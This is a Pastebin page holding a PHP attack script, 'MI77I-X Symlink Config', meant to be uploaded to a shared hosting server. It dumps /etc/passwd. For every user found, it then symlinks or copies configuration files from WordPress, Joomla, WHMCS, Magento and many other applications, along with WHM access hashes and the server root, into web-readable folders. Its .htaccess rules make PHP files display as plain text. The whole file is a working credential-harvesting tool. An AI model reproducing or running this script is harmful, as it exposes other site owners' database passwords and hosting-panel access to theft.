Advertisement
willysec_id

MI77I-X Symlink Config

Oct 25th, 2023
1,231
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 18.68 KB | Cybersecurity | 0 0
  1. <?php
  2. @ini_set('display_errors', 0);
  3. if (strtolower(substr(PHP_OS, 0, 3)) == "win") {
  4.     echo '<script>alert("Windows server not supported")</script>';
  5.     exit;
  6. }
  7. if ($_POST) {
  8.     if ($_POST['config'] == 'symvhosts') {
  9.         @mkdir("mi77i_symvhosts", 0777);
  10.         exe("ln -s / mi77i_symvhosts/root");
  11.         $htaccess = "Options Indexes FollowSymLinks
  12. DirectoryIndex priv.htm
  13. AddType text/plain .php
  14. AddHandler text/plain .php
  15. Satisfy Any";
  16.         @file_put_contents("mi77i_symvhosts/.htaccess", $htaccess);
  17.         $etc_passwd = $_POST['passwd'];
  18.         $etc_passwd = explode("
  19. ", $etc_passwd);
  20.         foreach ($etc_passwd as $passwd) {
  21.             $pawd = explode(":", $passwd);
  22.             $user = $pawd[5];
  23.             $jembod = preg_replace('//var/www/vhosts//', '', $user);
  24.             if (preg_match('/vhosts/i', $user)) {
  25.                 exe("ln -s " . $user . "/httpdocs/wp-config.php mi77i_symvhosts/" . $jembod . "-Wordpress.txt");
  26.                 exe("ln -s " . $user . "/httpdocs/configuration.php mi77i_symvhosts/" . $jembod . "-Joomla.txt");
  27.                 exe("ln -s " . $user . "/httpdocs/config/koneksi.php mi77i_symvhosts/" . $jembod . "-Lokomedia.txt");
  28.                 exe("ln -s " . $user . "/httpdocs/forum/config.php mi77i_symvhosts/" . $jembod . "-phpBB.txt");
  29.                 exe("ln -s " . $user . "/httpdocs/sites/default/settings.php mi77i_symvhosts/" . $jembod . "-Drupal.txt");
  30.                 exe("ln -s " . $user . "/httpdocs/config/settings.inc.php mi77i_symvhosts/" . $jembod . "-PrestaShop.txt");
  31.                 exe("ln -s " . $user . "/httpdocs/app/etc/local.xml mi77i_symvhosts/" . $jembod . "-Magento.txt");
  32.                 exe("ln -s " . $user . "/httpdocs/admin/config.php mi77i_symvhosts/" . $jembod . "-OpenCart.txt");
  33.                 exe("ln -s " . $user . "/httpdocs/application/config/database.php mi77i_symvhosts/" . $jembod . "-Ellislab.txt");
  34.             }
  35.         }
  36.     }
  37.     if ($_POST['config'] == 'symlink') {
  38.         @mkdir("mi77i_symconfig", 0777);
  39.         @symlink("/", "mi77i_symconfig/root");
  40.         $htaccess = "Options Indexes FollowSymLinks
  41. DirectoryIndex priv.htm
  42. AddType text/plain .php
  43. AddHandler text/plain .php
  44. Satisfy Any";
  45.         @file_put_contents("mi77i_symconfig/.htaccess", $htaccess);
  46.     }
  47.     if ($_POST['config'] == '404') {
  48.         @mkdir("mi77i_sym404", 0777);
  49.         @symlink("/", "mi77i_sym404/root");
  50.         $htaccess = "Options Indexes FollowSymLinks
  51. DirectoryIndex priv.htm
  52. AddType text/plain .php
  53. AddHandler text/plain .php
  54. Satisfy Any
  55. IndexOptions +Charset=UTF-8 +FancyIndexing +IgnoreCase +FoldersFirst +XHTML +HTMLTable +SuppressRules +SuppressDescription +NameWidth=*
  56. IndexIgnore *.txt404
  57. RewriteEngine On
  58. RewriteCond %{REQUEST_FILENAME} ^.*mi77i_sym404 [NC]
  59. RewriteRule .txt$ %{REQUEST_URI}404 [L,R=302.NC]";
  60.         @file_put_contents("mi77i_sym404/.htaccess", $htaccess);
  61.     }
  62.     if ($_POST['config'] == 'grab') {
  63.         mkdir("mi77i_configgrab", 0777);
  64.         $isi_htc = "Options all
  65. Require None
  66. Satisfy Any";
  67.         $htc = fopen("mi77i_configgrab/.htaccess", "w");
  68.         fwrite($htc, $isi_htc);
  69.     }
  70.     $passwd = $_POST['passwd'];
  71.     preg_match_all('/(.*?):x:/', $passwd, $user_config);
  72.     foreach ($user_config[1] as $user_mi77i) {
  73.         $grab_config = array("/home/$user_mi77i/.accesshash" => "WHM-accesshash", "/home/$user_mi77i/public_html/config/koneksi.php" => "Lokomedia", "/home/$user_mi77i/public_html/forum/config.php" => "phpBB", "/home/$user_mi77i/public_html/sites/default/settings.php" => "Drupal", "/home/$user_mi77i/public_html/config/settings.inc.php" => "PrestaShop", "/home/$user_mi77i/public_html/app/etc/local.xml" => "Magento", "/home/$user_mi77i/public_html/admin/config.php" => "OpenCart", "/home/$user_mi77i/public_html/application/config/database.php" => "Ellislab", "/home/$user_mi77i/public_html/vb/includes/config.php" => "Vbulletin", "/home/$user_mi77i/public_html/includes/config.php" => "Vbulletin", "/home/$user_mi77i/public_html/forum/includes/config.php" => "Vbulletin", "/home/$user_mi77i/public_html/forums/includes/config.php" => "Vbulletin", "/home/$user_mi77i/public_html/cc/includes/config.php" => "Vbulletin", "/home/$user_mi77i/public_html/inc/config.php" => "MyBB", "/home/$user_mi77i/public_html/includes/configure.php" => "OsCommerce", "/home/$user_mi77i/public_html/shop/includes/configure.php" => "OsCommerce", "/home/$user_mi77i/public_html/os/includes/configure.php" => "OsCommerce", "/home/$user_mi77i/public_html/oscom/includes/configure.php" => "OsCommerce", "/home/$user_mi77i/public_html/products/includes/configure.php" => "OsCommerce", "/home/$user_mi77i/public_html/cart/includes/configure.php" => "OsCommerce", "/home/$user_mi77i/public_html/inc/conf_global.php" => "IPB", "/home/$user_mi77i/public_html/wp-config.php" => "Wordpress", "/home/$user_mi77i/public_html/wp/test/wp-config.php" => "Wordpress", "/home/$user_mi77i/public_html/blog/wp-config.php" => "Wordpress", "/home/$user_mi77i/public_html/beta/wp-config.php" => "Wordpress", "/home/$user_mi77i/public_html/portal/wp-config.php" => "Wordpress", "/home/$user_mi77i/public_html/site/wp-config.php" => "Wordpress", "/home/$user_mi77i/public_html/wp/wp-config.php" => "Wordpress", "/home/$user_mi77i/public_html/WP/wp-config.php" => "Wordpress", "/home/$user_mi77i/public_html/news/wp-config.php" => "Wordpress", "/home/$user_mi77i/public_html/wordpress/wp-config.php" => "Wordpress", "/home/$user_mi77i/public_html/test/wp-config.php" => "Wordpress", "/home/$user_mi77i/public_html/demo/wp-config.php" => "Wordpress", "/home/$user_mi77i/public_html/home/wp-config.php" => "Wordpress", "/home/$user_mi77i/public_html/v1/wp-config.php" => "Wordpress", "/home/$user_mi77i/public_html/v2/wp-config.php" => "Wordpress", "/home/$user_mi77i/public_html/press/wp-config.php" => "Wordpress", "/home/$user_mi77i/public_html/new/wp-config.php" => "Wordpress", "/home/$user_mi77i/public_html/blogs/wp-config.php" => "Wordpress", "/home/$user_mi77i/public_html/configuration.php" => "Joomla", "/home/$user_mi77i/public_html/blog/configuration.php" => "Joomla or WHMCS", "/home/$user_mi77i/public_html/cms/configuration.php" => "Joomla", "/home/$user_mi77i/public_html/beta/configuration.php" => "Joomla", "/home/$user_mi77i/public_html/portal/configuration.php" => "Joomla", "/home/$user_mi77i/public_html/site/configuration.php" => "Joomla", "/home/$user_mi77i/public_html/main/configuration.php" => "Joomla", "/home/$user_mi77i/public_html/home/configuration.php" => "Joomla", "/home/$user_mi77i/public_html/demo/configuration.php" => "Joomla", "/home/$user_mi77i/public_html/test/configuration.php" => "Joomla", "/home/$user_mi77i/public_html/v1/configuration.php" => "Joomla", "/home/$user_mi77i/public_html/v2/configuration.php" => "Joomla", "/home/$user_mi77i/public_html/joomla/configuration.php" => "Joomla", "/home/$user_mi77i/public_html/new/configuration.php" => "Joomla", "/home/$user_mi77i/public_html/WHMCS/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/whmcs1/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/Whmcs/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/whmcs/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/whmcs/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/WHMC/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/Whmc/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/whmc/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/WHM/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/Whm/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/whm/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/HOST/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/Host/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/host/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/SUPPORTES/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/Supportes/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/supportes/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/domains/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/domain/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/Hosting/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/HOSTING/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/hosting/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/CART/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/Cart/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/cart/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/ORDER/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/Order/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/order/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/CLIENT/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/Client/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/client/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/CLIENTAREA/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/Clientarea/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/clientarea/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/SUPPORT/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/Support/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/support/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/BILLING/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/Billing/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/billing/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/BUY/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/Buy/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/buy/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/MANAGE/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/Manage/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/manage/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/CLIENTSUPPORT/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/ClientSupport/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/Clientsupport/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/clientsupport/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/CHECKOUT/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/Checkout/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/checkout/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/BILLINGS/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/Billings/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/billings/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/BASKET/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/Basket/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/basket/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/SECURE/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/Secure/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/secure/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/SALES/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/Sales/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/sales/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/BILL/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/Bill/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/bill/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/PURCHASE/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/Purchase/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/purchase/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/ACCOUNT/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/Account/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/account/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/USER/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/User/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/user/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/CLIENTS/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/Clients/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/clients/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/BILLINGS/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/Billings/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/billings/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/MY/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/My/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/my/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/secure/whm/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/secure/whmcs/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/panel/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/clientes/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/cliente/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/support/order/configuration.php" => "WHMCS", "/home/$user_mi77i/public_html/bb-config.php" => "BoxBilling", "/home/$user_mi77i/public_html/boxbilling/bb-config.php" => "BoxBilling", "/home/$user_mi77i/public_html/box/bb-config.php" => "BoxBilling", "/home/$user_mi77i/public_html/host/bb-config.php" => "BoxBilling", "/home/$user_mi77i/public_html/Host/bb-config.php" => "BoxBilling", "/home/$user_mi77i/public_html/supportes/bb-config.php" => "BoxBilling", "/home/$user_mi77i/public_html/support/bb-config.php" => "BoxBilling", "/home/$user_mi77i/public_html/hosting/bb-config.php" => "BoxBilling", "/home/$user_mi77i/public_html/cart/bb-config.php" => "BoxBilling", "/home/$user_mi77i/public_html/order/bb-config.php" => "BoxBilling", "/home/$user_mi77i/public_html/client/bb-config.php" => "BoxBilling", "/home/$user_mi77i/public_html/clients/bb-config.php" => "BoxBilling", "/home/$user_mi77i/public_html/cliente/bb-config.php" => "BoxBilling", "/home/$user_mi77i/public_html/clientes/bb-config.php" => "BoxBilling", "/home/$user_mi77i/public_html/billing/bb-config.php" => "BoxBilling", "/home/$user_mi77i/public_html/billings/bb-config.php" => "BoxBilling", "/home/$user_mi77i/public_html/my/bb-config.php" => "BoxBilling", "/home/$user_mi77i/public_html/secure/bb-config.php" => "BoxBilling", "/home/$user_mi77i/public_html/support/order/bb-config.php" => "BoxBilling", "/home/$user_mi77i/public_html/includes/dist-configure.php" => "Zencart", "/home/$user_mi77i/public_html/zencart/includes/dist-configure.php" => "Zencart", "/home/$user_mi77i/public_html/products/includes/dist-configure.php" => "Zencart", "/home/$user_mi77i/public_html/cart/includes/dist-configure.php" => "Zencart", "/home/$user_mi77i/public_html/shop/includes/dist-configure.php" => "Zencart", "/home/$user_mi77i/public_html/includes/iso4217.php" => "Hostbills", "/home/$user_mi77i/public_html/hostbills/includes/iso4217.php" => "Hostbills", "/home/$user_mi77i/public_html/host/includes/iso4217.php" => "Hostbills", "/home/$user_mi77i/public_html/Host/includes/iso4217.php" => "Hostbills", "/home/$user_mi77i/public_html/supportes/includes/iso4217.php" => "Hostbills", "/home/$user_mi77i/public_html/support/includes/iso4217.php" => "Hostbills", "/home/$user_mi77i/public_html/hosting/includes/iso4217.php" => "Hostbills", "/home/$user_mi77i/public_html/cart/includes/iso4217.php" => "Hostbills", "/home/$user_mi77i/public_html/order/includes/iso4217.php" => "Hostbills", "/home/$user_mi77i/public_html/client/includes/iso4217.php" => "Hostbills", "/home/$user_mi77i/public_html/clients/includes/iso4217.php" => "Hostbills", "/home/$user_mi77i/public_html/cliente/includes/iso4217.php" => "Hostbills", "/home/$user_mi77i/public_html/clientes/includes/iso4217.php" => "Hostbills", "/home/$user_mi77i/public_html/billing/includes/iso4217.php" => "Hostbills", "/home/$user_mi77i/public_html/billings/includes/iso4217.php" => "Hostbills", "/home/$user_mi77i/public_html/my/includes/iso4217.php" => "Hostbills", "/home/$user_mi77i/public_html/secure/includes/iso4217.php" => "Hostbills", "/home/$user_mi77i/public_html/support/order/includes/iso4217.php" => "Hostbills");
  74.         foreach ($grab_config as $config => $nama_config) {
  75.             if ($_POST['config'] == 'grab') {
  76.                 $ambil_config = file_get_contents($config);
  77.                 if ($ambil_config == '') {
  78.                 } else {
  79.                     $file_config = fopen("mi77i_configgrab/$user_mi77i-$nama_config.txt", "w");
  80.                     fputs($file_config, $ambil_config);
  81.                 }
  82.             }
  83.             if ($_POST['config'] == 'symlink') {
  84.                 @symlink($config, "mi77i_symconfig/" . $user_mi77i . "-" . $nama_config . ".txt");
  85.             }
  86.             if ($_POST['config'] == '404') {
  87.                 $sym404 = symlink($config, "mi77i_sym404/" . $user_mi77i . "-" . $nama_config . ".txt");
  88.                 if ($sym404) {
  89.                     @mkdir("mi77i_sym404/" . $user_mi77i . "-" . $nama_config . ".txt404", 0777);
  90.                     $htaccess = "Options Indexes FollowSymLinks
  91. DirectoryIndex priv.htm
  92. HeaderName mi77i.txt
  93. Satisfy Any
  94. IndexOptions IgnoreCase FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* SuppressHTMLPreamble
  95. IndexIgnore *";
  96.                     @file_put_contents("mi77i_sym404/" . $user_mi77i . "-" . $nama_config . ".txt404/.htaccess", $htaccess);
  97.                     @symlink($config, "mi77i_sym404/" . $user_mi77i . "-" . $nama_config . ".txt404/mi77i.txt");
  98.                 }
  99.             }
  100.         }
  101.     }
  102.     if ($_POST['config'] == 'grab') {
  103.         echo '<center><a href="mi77i_configgrab/"><font color=blue>Done</font></a></center>';
  104.     }
  105.     if ($_POST['config'] == '404') {
  106.         echo '<center>
  107. <a href="mi77i_sym404/root/">Root</a>
  108. <br><a href="mi77i_sym404/">Configurations</a></center>';
  109.     }
  110.     if ($_POST['config'] == 'symlink') {
  111.         echo '<center>
  112. <a href="mi77i_symconfig/root/">Root</a>
  113. <br><a href="mi77i_symconfig/">Configurations</a></center>';
  114.     }
  115.     if ($_POST['config'] == 'symvhost') {
  116.         echo '<center>
  117. <a href="mi77i_symvhost/root/">Root Server</a>
  118. <br><a href="mi77i_symvhost/">Configurations</a></center>';
  119.     }
  120. } else {
  121.     echo '<form method="post" action=""><center>
  122.         </select><br><textarea name="passwd" class="area" rows="20" cols="100">
  123. ';
  124.     echo include ("/etc/passwd");
  125.     echo '</textarea><br><br>
  126.        <select class="select" name="config"  style="width: 450px;" height="10">
  127.         <option value="404">Config 404</option>
  128.        <option value="grab">Config Grab</option>
  129.        <option value="symlink">Symlink Config</option>
  130.         <option value="symvhosts">Vhosts Config Grabber</option><br><br><input type="submit" value="Start!!"></td></tr></center>
  131. ';
  132. } ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement